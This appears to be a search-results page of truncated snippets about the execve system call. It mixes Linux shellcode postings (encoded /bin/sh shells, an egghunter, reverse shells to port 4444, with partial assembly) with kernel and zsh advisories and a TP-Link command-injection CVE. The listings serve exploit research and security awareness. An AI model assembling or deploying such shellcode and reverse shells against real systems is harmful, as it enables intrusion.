Linux/x64_86 ROL Encoded Execve Shellcode (57 bytes)

57 bytes small Linux/x6486 /bin/bash shellcode. The stub decodes the ROL Encoded shellcode. When the stub has finished decoding the payload, execution control is passed to the payload. // Shellcode Title: Linux/x64 - ROL Encoded Execve Shellcode 57 bytes // Shellcode Author: Bobby Cooke // Tested...

Linux/x64_86 Egghunter Execve Shellcode (63 bytes)

63 bytes small Linux/x6486 dynamic egghunter shellcode that searches memory for 2 instances of the egg. When the eggs are found, the egghunter passes execution control to the payload at the memory address of the eggs. The payload is an execve/bin/bash shellcode. // Shellcode Title: Linux/x64 -...

Denial Of Service (DoS)

kernel is vulnearble to denial of service. A flaw was found in the Linux kernel execve system call implementation. A local, unprivileged user could cause large amounts of memory to be allocated but not visible to the OOM Out of Memory killer, triggering a denial of service...

kernel: perf_event_open() and execve() race in setuid programs allows a data leak

A race condition in perfeventopen allows local attackers to leak sensitive data from setuid programs. As no relevant locks in particular the credguardmutex are held during the ptracemayaccess call, it is possible for the specified target task to perform an execve syscall with setuid execution...

kernel: perf_event_open() and execve() race in setuid programs allows a data leak

A race condition in perfeventopen allows local attackers to leak sensitive data from setuid programs. As no relevant locks in particular the credguardmutex are held during the ptracemayaccess call, it is possible for the specified target task to perform an execve syscall with setuid execution...

TP-Link Wi-Fi extender User-Agent Header Injection CVE-2019-7406

A pre-authentication command injection vulnerability in TP-Link Wi-Fi extenders allows commands to be executed as root. The injection occurs when the User-Agent header of a request is passed to an execve system call. TP-Link RE365 Wi-Fi extender with firmware version 1.0.2, build 20180213 Rel...

AgentSmith-HIDS - Open Source Host-based Intrusion Detection System (HIDS)

Technically, AgentSmith-HIDS is not a Host-based Intrusion Detection System HIDS due to lack of rule engine and detection function. However, it can be used as a high performance 'Host Information Collect Agent' as part of your own HIDS solution. The comprehensiveness of information which can be...

Huawei EulerOS: Security Advisory for zsh (EulerOS-SA-2019-2684)

The remote host is missing an update for the Huawei EulerOS SPDX-FileCopyrightText: 2020 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Linux/x86 - Random Bytes Encoder + XOR/SUB/NOT/ROR execve(/bin/sh) Shellcode (114 bytes)

Title: Linux/x86 - Random Bytes Encoder + XOR/SUB/NOT/ROR execve/bin/sh Shellcode 114 Author: Xenofon Vassilakopoulos Tested on: Linux kali 5.3.0-kali2-686-pae 1 SMP Debian 5.3.9-3kali1 2019-11-20 i686 GNU/Linux Architecture: i686 GNU/Linux Shellcode Length: 114 bytes SLAE-ID: SLAE - 1314...

Linux/x86 - Execve() Alphanumeric Shellcode (66 bytes)

Title: Linux/x86 - Execve Alphanumeric Shellcode 66 bytes Shellcode Author: bolonobolo Tested on: Linux x86 execve.asm global start section .text start: ; int 0x80 ------------ push 0x30 pop eax xor al, 0x30 push eax pop edx dec eax xor ax, 0x4f73 xor ax, 0x3041 push eax push edx pop eax...

Linux/x86 Encoder / Decoder Shellcode (117 bytes)

Title : Linux/x86 - Encoder - Random Bytes + XOR/SUB/NOT/ROR / Decoder - ROL/NOT/ADD/XOR execve/bin/sh Shellcode 117 bytes Author : Xenofon Vassilakopoulos Date : July, 2019 Tested on : Linux kali 5.3.0-kali2-686-pae 1 SMP Debian 5.3.9-3kali1 2019-11-20 i686 GNU/Linux Architecture : i686 GNU/Linu...

EulerOS 2.0 SP3 : zsh (EulerOS-SA-2019-2684)

According to the versions of the zsh package installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : - An issue was discovered in zsh before 5.6. Shebang lines exceeding 64 characters were truncated, potentially leading to an execve call to a program...

EulerOS 2.0 SP2 : zsh (EulerOS-SA-2019-2459)

According to the versions of the zsh package installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : - An issue was discovered in zsh before 5.6. The beginning of a ! script file was mishandled, potentially leading to an execve call to a program named...

Linux/x86 - (NOT|ROT+8 Encoded) execve(/bin/sh) null-free Shellcode (47 bytes)

Title: Linux/x86 NOT|ROT+8 Encoded execve/bin/sh null-free Shellcode 47 bytes Author: Daniel Ortiz Date: 2019-10-30 Tested on: Linux 4.18.0-25-generic 26 Ubuntu Size: 47 bytes SLAE ID: PA-9844 ----------------------- execve ------------------------------------------------ global start section .te...

Linux/x86 - execve(/bin/sh) socket reuse Shellcode (42 bytes)

Exploit Name: Linux/x86 - execve/bin/sh socket reuse Shellcode 42 bytes Author : WangYihang Tested on: Linuxx86 Shellcode Length: 42 CVE: N/A ;================================================================================ Shellcode : char shellcode =...

Linux/x86 - execve /bin/sh Shellcode (25 bytes)

Exploit Title: Linux/x86 - execve /bin/sh ShellCode 25 bytes Author: bolonobolo Vendor Homepage: None Software Link: None Tested on: Linux x86 CVE: N/A / global start section .text start: cdq ; xor edx mul edx lea ecx, eax mov esi, 0x68732f2f mov edi, 0x6e69622f push ecx ; push NULL in stack push...

Linux/x86 - Reverse Shell NULL free 127.0.0.1:4444 Shellcode (91 bytes)

Exploit Title: Linux/x86 - Reverse Shell NULL free 127.0.0.1:4444 Shellcode 91 bytes Author: bolonobolo Tested on: Linux x86 Software: N/A CVE: N/A / global start section .text start: ;socket xor ecx, ecx ; xoring ECX xor ebx, ebx ; xoring EBX mul ebx ; xoring EAX and EDX inc cl ; ECX should be 1...

NewStart CGSL CORE 5.04 / MAIN 5.04 : zsh Vulnerability (NS-SA-2019-0200)

The remote NewStart CGSL host, running version CORE 5.04 / MAIN 5.04, has zsh packages installed that are affected by a vulnerability: - An issue was discovered in zsh before 5.6. Shebang lines exceeding 64 characters were truncated, potentially leading to an execve call to a program name that is...

Linux/x86_64 - AVX2 XOR Decoder + execve(/bin/sh) Shellcode (62 bytes)

/ ; Title : Linux/x8664 - AVX2 XOR Decoder + execve"/bin/sh" 62 bytes ; Author : Gonçalo Ribeiro @goncalor ; Website : goncalor.com ; SLAE64-ID : 1635 ; this only works on machines with a CPU that supports AVX2 instructions global start start: jmp calldecoder decoder: pop rsi lea rdi, rsi+1 ;...

Linux/x86_64 - Reverse Shell (/bin/sh) with Configurable Password Shellcode (120 bytes)

/ ; Title : Linux/x8664 - Reverse Shell /bin/sh with Password configurable 120 bytes ; Date : 2019-08-18 ; Author : Gonçalo Ribeiro @goncalor ; Website : goncalor.com ; SLAE64-ID : 1635 global start %define pass "pass" %define port 0x5c11 ; htons4444 start: jmp realstart password: db pass passlen...